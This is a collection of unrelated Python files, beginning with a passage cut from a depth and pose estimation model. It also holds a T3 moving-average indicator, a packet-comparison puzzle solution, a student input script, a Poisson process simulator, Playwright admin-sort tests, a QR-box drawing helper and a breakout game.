        feat_filtered=torch.zeros((new_shape[0],new_shape[1],256))

        #print("Score Shape",score.shape)
        #print("Coordinate Shape",coord.shape)
        #print("Descriptor Shape",feat.shape)

        for i in range(new_shape[0]):
            score_i=score[i,:]
            score_i_index=torch.argsort(score_i,descending=True)
            score_filtered[i,:]=score_i[score_i_index]
            coord_filtered[i,:,:]=coord[i,score_i_index,:]
            feat_filtered[i,:,:]=feat[i,score_i_index,:]

        score_filtered=score_filtered[:,0:int(new_shape[1]*threshold)].to("cpu" if self.opt.no_cuda else "cuda")
        coord_filtered=coord_filtered[:,0:int(new_shape[1]*threshold),:].to("cpu" if self.opt.no_cuda else "cuda")
        feat_filtered=feat_filtered[:,0:int(new_shape[1]*threshold),:].to("cpu" if self.opt.no_cuda else "cuda")

        return {'kp{}_score'.format(j): score_filtered, 'kp{}_coord'.format(j): coord_filtered, 'kp{}_feat'.format(j): feat_filtered}

    def forward(self, input_image,epoch,batch_idx):
        # make sure color, 0, 0 is target image and color, 1, 0 is context image
        # calculate transformation matrix from target to context
        # warp target pixels to obtain context pixels
        # compute photometric loss between target image and warped target image
        outputs = {}

        depth_features = self.depth_encoder(input_image["color_aug", 0, 0])
        disp_outputs = self.depth_decoder(depth_features)
        outputs.update(disp_outputs)

        #print(input_image["color_aug", 0, 0].shape)
        #print(input_image["color_aug", 1, 0].shape)
        #print(input_image["color_aug", -1, 0].shape)

        #target_img,source_img,homography=ha_augment_sample(input_image["color_aug", 0, 0][0,:,:,:])
        #print("Target Shape",target_img.shape)
        #print("Souce Shape",source_img.shape)
        #print("Homography Shape",homography.shape)

        #plt.imsave("target_img.png",target_img.permute(1,2,0).detach().cpu().numpy())
        #plt.imsave("source_img.png",source_img.permute(1,2,0).detach().cpu().numpy())
        #plt.imsave("input.png",input_image["color_aug", 0, 0][0,:,:,:].permute(1,2,0).detach().cpu().numpy())
        #plt.imsave("input_wrapped.png",input_image["color_aug_wrapped_kp2d", 0, 0][0,:,:,:].permute(1,2,0).detach().cpu().numpy())
        #print("epoch",epoch)

        kp2d_output1 = self.keypoint_net(input_image["color", 0, 0])
        score, coord, feat = kp2d_output1
        org_shape=score.shape
        new_shape=(org_shape[0],org_shape[2]*org_shape[3],org_shape[1])
        #print(org_shape)
        #rint(new_shape)
        #print(score.shape)
        #print(feat.shape)
        score, coord, feat = score.permute(0,2,3,1),coord.permute(0,2,3,1),feat.permute(0,2,3,1)
        if(self.training==0):
            score, coord, feat = score.reshape((new_shape[0],new_shape[1])),coord.reshape((new_shape[0],new_shape[1],2)),feat.reshape((new_shape[0],new_shape[1],256))
        else:
            score, coord, feat = score.reshape((new_shape[0],new_shape[1])),coord.reshape((new_shape[0],new_shape[1],2)),feat.reshape((new_shape[0],new_shape[1]*4,256))

        kp2d_output1=[score,coord,feat]

        if (epoch>=self.opt.kp_training_2dwarp_start_epoch):
            if self.opt.kp_training_2dwarp:
                source_score, source_uv_pred, source_feat=self.keypoint_net(input_image["color_aug_wrapped_kp2d", 0, 0])
                target_score, target_uv_pred, target_feat=kp2d_output1
                outputs["source_score"] = source_score
                outputs["source_uv_pred"] = source_uv_pred
                outputs["source_feat"] =source_feat
                outputs["target_score"] = target_score
                outputs["target_uv_pred"] = target_uv_pred
                outputs["target_feat"] = target_feat

        #kp2d_output1 = self.batch_reshape_kp2d_preds(kp2d_output1, 1)

        kp2d_output2 = self.keypoint_net(input_image["color", 1, 0])

        score, coord, feat = kp2d_output2
        #print(coord.shape)
        #print(feat.shape)
        #print(score.shape)
        #print(coord[0,:,:4,:4])
        org_shape=score.shape
        new_shape=(org_shape[0],org_shape[2]*org_shape[3],org_shape[1])
        score, coord, feat = score.permute(0,2,3,1),coord.permute(0,2,3,1),feat.permute(0,2,3,1)

        if(self.training==0):
            score, coord, feat = score.reshape((new_shape[0],new_shape[1])),coord.reshape((new_shape[0],new_shape[1],2)),feat.reshape((new_shape[0],new_shape[1],256))
        else:
            score, coord, feat = score.reshape((new_shape[0],new_shape[1])),coord.reshape((new_shape[0],new_shape[1],2)),feat.reshape((new_shape[0],new_shape[1]*4,256))

        kp2d_output2=[score,coord,feat]
        #print(coord[0,:16,:])
        #print(kp2d_output2[0].shape)
        #print(kp2d_output2[1].shape)
        #print(kp2d_output2[2].shape)

        if (epoch>=self.opt.kp_training_3dwarp_start_epoch):
            if self.opt.kp_training_3dwarp_next:
                source_score, source_uv_pred, source_feat=kp2d_output2
                outputs["source_score_next"] = source_score
                outputs["source_uv_pred_next"] = source_uv_pred
                outputs["source_feat_next"] =source_feat

        #kp2d_output2 = self.batch_reshape_kp2d_preds(kp2d_output2, 2)
        #print(kp2d_output2.keys())
        #print(kp2d_output2['kp2_coord'].shape)
        #print(kp2d_output2['kp2_feat'].shape)
        #rint(kp2d_output2['kp2_score'].shape)

        kp2d_output3 = self.keypoint_net(input_image["color", -1, 0])
        score, coord, feat = kp2d_output3
        org_shape=score.shape
        new_shape=(org_shape[0],org_shape[2]*org_shape[3],org_shape[1])

        score, coord, feat = score.permute(0,2,3,1),coord.permute(0,2,3,1),feat.permute(0,2,3,1)

        if(self.training==0):
            score, coord, feat = score.reshape((new_shape[0],new_shape[1])),coord.reshape((new_shape[0],new_shape[1],2)),feat.reshape((new_shape[0],new_shape[1],256))
        else:
            score, coord, feat = score.reshape((new_shape[0],new_shape[1])),coord.reshape((new_shape[0],new_shape[1],2)),feat.reshape((new_shape[0],new_shape[1]*4,256))

        kp2d_output3=[score,coord,feat]

        if (epoch>=self.opt.kp_training_3dwarp_start_epoch):
            if self.opt.kp_training_3dwarp_previous:
                source_score, source_uv_pred, source_feat=kp2d_output3
                outputs["source_score_previous"] = source_score
                outputs["source_uv_pred_previous"] = source_uv_pred
                outputs["source_feat_previous"] =source_feat

        #kp2d_output3 = self.batch_reshape_kp2d_preds(kp2d_output3, 3)

        #outputs.update(kp2d_output1)
        #outputs.update(kp2d_output2)
        #outputs.update(kp2d_output3)

        if self.use_pnp:
            _, depth = disp_to_depth(disp_outputs[("disp", 0)], self.opt.min_depth, self.opt.max_depth)

            R_t1, t_t1 = self.pose_estimator.get_pose_pnp(depth, input_image["color", 0, 0], input_image["color", 1, 0],
                                                      kp2d_output1[1], kp2d_output2[1],
                                                      kp2d_output1[2], kp2d_output2[2],
                                                      epoch, batch_idx,self.training)
            R_t2, t_t2 = self.pose_estimator.get_pose_pnp(depth, input_image["color", 0, 0], input_image["color", -1, 0],
                                                      kp2d_output1[1], kp2d_output3[1],
                                                      kp2d_output1[2], kp2d_output3[2],
                                                      epoch, batch_idx,self.training)
            t_t1 = torch.unsqueeze(t_t1, dim=2)
            t_t2 = torch.unsqueeze(t_t2, dim=2)
        else:

            R_t1, t_t1 = self.pose_estimator.get_pose(input_image["color", 0, 0],input_image["color", 1, 0],
                                                kp2d_output1[1], kp2d_output2[1],
                                                kp2d_output1[2], kp2d_output2[2],
                                                epoch,batch_idx,self.training)

            #print("R_t1",R_t1.shape)
            #print("t_t1",t_t1.shape)
            R_t2, t_t2 = self.pose_estimator.get_pose(input_image["color", 0, 0],input_image["color", -1, 0],
                                                kp2d_output1[1], kp2d_output3[1],
                                                kp2d_output1[2], kp2d_output3[2],
                                                epoch,batch_idx,self.training)

        if self.opt.use_posenet_for_3dwarping:

            pose_feats = {f_i: input_image["color", f_i, 0] for f_i in self.opt.frame_ids}

            for f_i in self.opt.frame_ids[1:]:
                if f_i != "s":
                    # To maintain ordering we always pass frames in temporal order
                    if f_i < 0:
                        pose_inputs = [pose_feats[f_i], pose_feats[0]]
                    else:
                        pose_inputs = [pose_feats[0], pose_feats[f_i]]

                    pose_inputs = [self.pose_encoder(torch.cat(pose_inputs, 1))]
                    axisangle, translation = self.pose_decoder(pose_inputs)
                    outputs[("axisangle", 0, f_i)] = axisangle
                    outputs[("translation", 0, f_i)] = translation
                    outputs[("cam_T_cam", 0, f_i)] = transformation_from_parameters(
                        axisangle[:, 0], translation[:, 0], invert=(f_i < 0))

            """
                pose_inputs = torch.cat([input_image[("color_aug", i, 0)] for i in self.opt.frame_ids if i != "s"], 1)

                pose_inputs=self.pose_encoder(pose_inputs)
                axisangle, translation = self.pose_encoder(pose_inputs)

                for i, f_i in enumerate(self.opt.frame_ids[1:]):
                    if f_i != "s":
                        outputs[("axisangle", 0, f_i)] = axisangle
                        outputs[("translation", 0, f_i)] = translation
                        outputs[("cam_T_cam", 0, f_i)] = transformation_from_parameters(axisangle[:, i], translation[:, i])

                all_color_aug = torch.cat([input_image[("color_aug", i, 0)] for i in [1, 0]], 1)
                features = [self.pose_encoder(all_color_aug)]
                axisangle, translation = self.pose_decoder(features)
                print("axisangle",axisangle.shape)
                print("translation +1",translation.shape)
                pose_output=transformation_from_parameters(axisangle[:, 0], translation[:, 0])
                #print("temp1",temp1.shape)
                outputs["pose_output_t1"] = pose_output

                all_color_aug_1 = torch.cat([input_image[("color_aug", i, 0)] for i in [-1,0]], 1)
                features = [self.pose_encoder(all_color_aug_1)]
                axisangle, translation = self.pose_decoder(features)
                #print("axisangle",axisangle.shape)
                print("translation -1",translation)
                pose_output=transformation_from_parameters(axisangle[:, 0], translation[:, 0])
                #print("temp1",temp1.shape)
                outputs["pose_output_t2"] = pose_output
            """

        outputs["R_t1"] = R_t1
        outputs["t_t1"] = t_t1
        outputs["R_t2"] = R_t2
        outputs["t_t2"] = t_t2

        return outputs


# -*- coding: utf-8 -*-
from pandas import Series
from pandas_ta._typing import DictLike, Int, IntFloat
from pandas_ta.maps import Imports
from pandas_ta.utils import v_offset, v_pos_default, v_series, v_talib
from .ema import ema

def t3(
    close: Series, length: Int = None, a: IntFloat = None, talib: bool = None,
    offset: Int = None, **kwargs: DictLike
) -> Series:
    """Tim Tillson's T3 Moving Average (T3)

    Tim Tillson's T3 Moving Average is considered a smoother and more
    responsive moving average relative to other moving averages.

    Sources:
        http://www.binarytribune.com/forex-trading-indicators/t3-moving-average-indicator/

    Args:
        close (pd.Series): Series of 'close's
        length (int): It's period. Default: 10
        a (float): 0 < a < 1. Default: 0.7
        talib (bool): If TA Lib is installed and talib is True, Returns
            the TA Lib version. Default: True
        offset (int): How many periods to offset the result. Default: 0

    Kwargs:
        adjust (bool): Default: True
        presma (bool, optional): If True, uses SMA for initial value.
        fillna (value, optional): pd.DataFrame.fillna(value)
        fill_method (value, optional): Type of fill method

    Returns:
        pd.Series: New feature generated.
    """
    # Validate
    length = v_pos_default(length, 10)
    close = v_series(close, length)

    if close is None:
        return

    a = float(a) if isinstance(a, float) and 0 < a < 1 else 0.7
    mode_tal = v_talib(talib)
    offset = v_offset(offset)

    # Calculate
    if Imports["talib"] and mode_tal:
        from talib import T3
        t3 = T3(close, length, a)
    else:
        c1 = -a * a**2
        c2 = 3 * a**2 + 3 * a**3
        c3 = -6 * a**2 - 3 * a - 3 * a**3
        c4 = a**3 + 3 * a**2 + 3 * a + 1

        e1 = ema(close=close, length=length, talib=mode_tal, **kwargs)
        e2 = ema(close=e1, length=length, talib=mode_tal, **kwargs)
        e3 = ema(close=e2, length=length, talib=mode_tal, **kwargs)
        e4 = ema(close=e3, length=length, talib=mode_tal, **kwargs)
        e5 = ema(close=e4, length=length, talib=mode_tal, **kwargs)
        e6 = ema(close=e5, length=length, talib=mode_tal, **kwargs)
        t3 = c1 * e6 + c2 * e5 + c3 * e4 + c4 * e3

    # Offset
    if offset != 0:
        t3 = t3.shift(offset)

    # Fill
    if "fillna" in kwargs:
        t3.fillna(kwargs["fillna"], inplace=True)
    if "fill_method" in kwargs:
        t3.fillna(method=kwargs["fill_method"], inplace=True)

    # Name and Category
    t3.name = f"T3_{length}_{a}"
    t3.category = "overlap"

    return t3


import ast

def main():
    instructions = get_input()
    part1(instructions)
    instructions = get_input()
    part2(instructions)

def get_input():
    instructions = []
    f = open("input.txt", "r")
    temp_pair = []
    for line in f:
        if len(line.strip()) != 0:
            mod_line = ast.literal_eval(line)
            temp_pair.append(mod_line)
        else:
            instructions.append(temp_pair)
            temp_pair = []
    instructions.append(temp_pair)
    return instructions

def part1(instructions):
    valid_pairs = []
    for i in range(len(instructions)):
        pair_valid = check_pair_valid(instructions[i])
        if pair_valid == True:
            valid_pairs.append(i + 1)
    print(sum(valid_pairs))
    return 0

def check_pair_valid(checked_pair):
    # Iterate over every i-th item in each packet
    for i in range(len(checked_pair[0])):
        left_item = checked_pair[0][i]
        # If the right list is shorter (i.e. you cannot assign a corrsponding value with ), return False
        try:
            right_item = checked_pair[1][i]
        except:
            return False

        # Alternative 1 --- both are integers
        if isinstance(left_item, int) and isinstance(right_item, int):
            if left_item < right_item:
                return True
            elif left_item > right_item:
                return False
            else:
                pass

        # Alternative 2 --- one is list and one is integer
        if (isinstance(left_item, list) and isinstance(right_item, int)) or (isinstance(left_item, int) and isinstance(right_item, list)):
            if isinstance(right_item, int):
                right_item = [right_item]
            elif isinstance(left_item, int):
                left_item = [left_item]

        # Alternative 3 --- both are lists
        if isinstance(left_item, list) and isinstance(right_item, list):
            new_checked_pair = [left_item, right_item]
            pair_valid = check_pair_valid(new_checked_pair)
            if pair_valid != None:
                return pair_valid

    # Return false if ran through all items, but there are still
    if isinstance(checked_pair[0], list) and isinstance(checked_pair[1], list):
        if len(checked_pair[0]) < len(checked_pair[1]):
            return True

def part2(instructions):
    individual_packets = []
    # Clean instructions
    for elem in instructions:
        individual_packets.append(elem[0])
        individual_packets.append(elem[1])

    divider1 = ast.literal_eval("[[2]]")
    divider2 = ast.literal_eval("[[6]]")
    individual_packets.append(divider1)
    individual_packets.append(divider2)

    instructions = sort_instructions(individual_packets)
    index_values = []
    for i in range(len(instructions)):
        if instructions[i] == divider1 or instructions[i] == divider2:
            index_values.append(i + 1)
    print(index_values[0] * index_values[1])
    return 0

def sort_instructions(initial_instructions):
    sorted_instructions = []
    sorted_instructions.append(initial_instructions[0])
    for i in range(1, len(initial_instructions)):
        inserted_item = initial_instructions[i]
        sorted_instructions = insert_item_into_sorted_list(sorted_instructions, inserted_item)
    return sorted_instructions

def insert_item_into_sorted_list(sorted_instructions, inserted_item):
    for i in range(len(sorted_instructions)):
        checked_pair = [inserted_item, sorted_instructions[i]]
        if check_pair_valid(checked_pair):
            sorted_instructions.insert(i, inserted_item)
            return sorted_instructions
    sorted_instructions.append(inserted_item)
    return sorted_instructions

main()


"""
Date:     2021-11-22
Authors:  Manuel Yahir Hernandez Mendez
File:     T1E3_birthday.py
Brief:    Este programa solicita año, mes y día de cumpleaños
          e implime el string 'Year:xxxx - Month:xx - Day: xx'
          con sus respectivos resultados
Score:    80
Version:  1.1.1
Fixes:    - PEP8 recomienda añadir un espacio en blanco después del
                carácter de coma ','

          - Faltaron los dos puntos ':' en el formato de impresion
                solicitado
"""

if __name__ == '__main__':
    a = int(input("Ingrese su año de nacimiento"))
    b = int((input("Ingrese el mes")))
    c = int((input("Dia")))
    print(f"Year: {a} - Month {b} - Day {c}")
    print("Year: {} - Month {} - Day {}".format(a,b,c))


from datetime import datetime

import numpy as np

from ..utils import to_datetime, to_decimal_year

__all__ = [
    "poisson_process",
]

def poisson_process(times, rates):
    """
    Simulate a (non)-stationary Poisson process.

    Parameters
    ----------
    times : sequence of scalar or sequence of datetime_like
        Simulation time period of the Poisson process (in years if scalar):

         - If `rates` is a scalar: (start_time, end_time) corresponding to first and maximum time
         - If `rates` is an array_like: time associated to each rate value

    rates : scalar or array_like
        Constant or time-dependent rate (in 1/year).

    Returns
    -------
    sequence of scalar or sequence of datetime_like
        Simulated times.

    """
    if np.ndim(times) != 1:
        raise TypeError()

    is_datetime = isinstance(times[0], (datetime, np.datetime64))
    times = to_decimal_year(times)

    ndim = np.ndim(rates)
    if ndim == 0 and len(times) != 2:
        raise ValueError()

    elif ndim == 1 and len(times) != len(rates):
        raise ValueError()

    t = []
    ti = 0.0
    t0 = times[0]
    times = np.asarray(times) - t0

    # Homogeneous
    if ndim == 0:
        while True:
            ti -= np.log(np.random.rand()) / rates

            if ti > times[-1]:
                break

            t.append(ti)

    # Non-stationary
    elif ndim == 1:
        rates = np.asarray(rates)
        L = rates.max()

        while True:
            ti -= np.log(np.random.rand()) / L

            if ti > times[-1]:
                break

            if np.random.rand() * L < np.interp(ti, times, rates):
                t.append(ti)

    else:
        raise TypeError()

    t = np.array(t) + t0

    return to_datetime(t) if is_datetime else t


from playwright.sync_api import Page

from piccolo_admin.example import OrderBy, SortedColumns

from .conftest import BASE_URL
from .pages import LoginPage, RowListingPage

def test_sort_columns(page: Page, dev_server):
    """
    Make sure that custom sort works on the row listing page. The column name
    should match what we specified in ``TableConfig``.
    """
    login_page = LoginPage(page=page)
    login_page.reset()
    login_page.login()

    test_page = RowListingPage(
        page=page, tablename=SortedColumns._meta.tablename
    )
    test_page.reset()
    test_page.open_sort_modal()

    assert (
        test_page.sort_modal.get_sort_by_column()
        == SortedColumns.integer._meta.name
    )

def test_add_sort_column(page: Page, dev_server):
    """
    Make sure we can add and remove columns in the sort modal.
    """
    login_page = LoginPage(page=page)
    login_page.reset()
    login_page.login()

    test_page = RowListingPage(
        page=page, tablename=SortedColumns._meta.tablename
    )
    test_page.reset()
    test_page.open_sort_modal()

    # Add a second sort column
    test_page.sort_modal.click_add_sort_column_button()
    assert test_page.sort_modal.get_column_count() == 2

    # Remove it again to make sure that works
    test_page.sort_modal.click_remove_column_button()
    assert test_page.sort_modal.get_column_count() == 1

    # Add a second sort column again
    test_page.sort_modal.click_add_sort_column_button()
    assert test_page.sort_modal.get_column_count() == 2

    # Specify the sort we want, and submit the form.
    # Make sure the API call was made.
    test_page.sort_modal.populate_form(
        order_by_list=[
            OrderBy(column=SortedColumns.integer),
            OrderBy(column=SortedColumns.letter),
        ]
    )
    with page.expect_response(
        lambda response: response.url
        == f"{BASE_URL}/api/tables/sorted_columns/?__readable=true&__order=integer,letter&__page_size=15&__page=1"  # noqa: E501
        and response.request.method == "GET"
        and response.status == 200
    ):
        test_page.sort_modal.submit_form()

    # We store the order in the URL, so people can share the URL or reload it
    # and get the same results.
    assert "?__order=integer,letter" in page.url


import cv2

def draw_qr_codes(image, candidates):
    """
    Draw bounding boxes around detected QR codes.

    Args:
        image (numpy.ndarray): Input color image.
        candidates (List): Detected QR code candidates.
    """

    for candidate in candidates:
        rect = cv2.minAreaRect(candidate)
        box = cv2.boxPoints(rect)
        box = box.astype('int')
        cv2.drawContours(image, [box], 0, (0, 255, 0), 2)


import random
import colorsys
from collections import deque
from math import copysign

WIDTH = 600
HEIGHT = 800
BALL_SIZE = 10
MARGIN = 50

BRICKS_X = 10
BRICKS_Y = 5
BRICK_W = (WIDTH - 2 * MARGIN) // BRICKS_X
BRICK_H = 25

ball = ZRect(WIDTH / 2, HEIGHT / 2, BALL_SIZE, BALL_SIZE)
bat = ZRect(WIDTH / 2, HEIGHT - 50, 120, 12)

bricks = []

def hsv_color(h, s, v):
    """Return an RGB color from HSV."""
    r, g, b = colorsys.hsv_to_rgb(h, s, v)
    return r * 255, g * 255, b * 255

def reset():
    """Reset bricks and ball."""
    # First, let's do bricks
    del bricks[:]
    for x in range(BRICKS_X):
        for y in range(BRICKS_Y):
            brick = ZRect(
                (x * BRICK_W + MARGIN, y * BRICK_H + MARGIN),
                (BRICK_W - 1, BRICK_H - 1)
            )
            hue = (x + y) / BRICKS_X
            saturation = (y / BRICKS_Y) * 0.5 + 0.5
            brick.highlight = hsv_color(hue, saturation * 0.7, 1.0)
            brick.color = hsv_color(hue, saturation, 0.8)
            bricks.append(brick)

    # Now reset the ball
    ball.center = (WIDTH / 2, HEIGHT / 3)
    ball.vel = (random.uniform(-200, 200), 400)

# Reset bricks and ball at start
reset()

def draw():
    screen.clear()
    for brick in bricks:
        screen.draw.filled_rect(brick, brick.color)
        screen.draw.line(brick.bottomleft, brick.topleft, brick.highlight)
        screen.draw.line(brick.topleft, brick.topright, brick.highlight)

    screen.draw.filled_rect(bat, 'pink')
    screen.draw.filled_circle(ball.center, BALL_SIZE // 2, 'white')

def update():
    # When you have fast moving objects, like the ball, a good trick
    # is to run the update step several times per frame with tiny time steps.
    # This makes it more likely that collisions will be handled correctly.
    for _ in range(3):
        update_step(1 / 180)
    update_bat_vx()

def update_step(dt):
    x, y = ball.center
    vx, vy = ball.vel

    if ball.top > HEIGHT:
        reset()
        return

    # Update ball based on previous velocity
    x += vx * dt
    y += vy * dt
    ball.center = (x, y)

    # Check for and resolve collisions
    if ball.left < 0:
        vx = abs(vx)
        ball.left = -ball.left
    elif ball.right > WIDTH:
        vx = -abs(vx)
        ball.right -= 2 * (ball.right - WIDTH)

    if ball.top < 0:
        vy = abs(vy)
        ball.top *= -1

    if ball.colliderect(bat):
        vy = -abs(vy)
        # Add some spin off the paddle
        vx += -30 * bat.vx
    else:
        # Find first collision
        idx = ball.collidelist(bricks)
        if idx != -1:
            brick = bricks[idx]
            # Work out what side we collided on
            dx = (ball.centerx - brick.centerx) / BRICK_W
            dy = (ball.centery - brick.centery) / BRICK_H
            if abs(dx) > abs(dy):
                vx = copysign(abs(vx), dx)
            else:
                vy = copysign(abs(vy), dy)
            del bricks[idx]

    ball.vel = (vx, vy)

# Keep bat vx history over 5 frames
bat.recent_vxs = deque(maxlen=5)
bat.vx = 0
bat.prev_centerx = bat.centerx

def update_bat_vx():
    """Recalculate average bat vx."""
    x = bat.centerx
    dx = x - bat.prev_centerx
    bat.prev_centerx = x

    history = bat.recent_vxs
    history.append(dx)
    vx = sum(history) / len(history)
    bat.vx = min(10, max(-10, vx))

def on_mouse_move(pos):
    x, y = pos
    bat.centerx = x
    if bat.left < 0:
        bat.left = 0
    elif bat.right > WIDTH:
        bat.right = WIDTH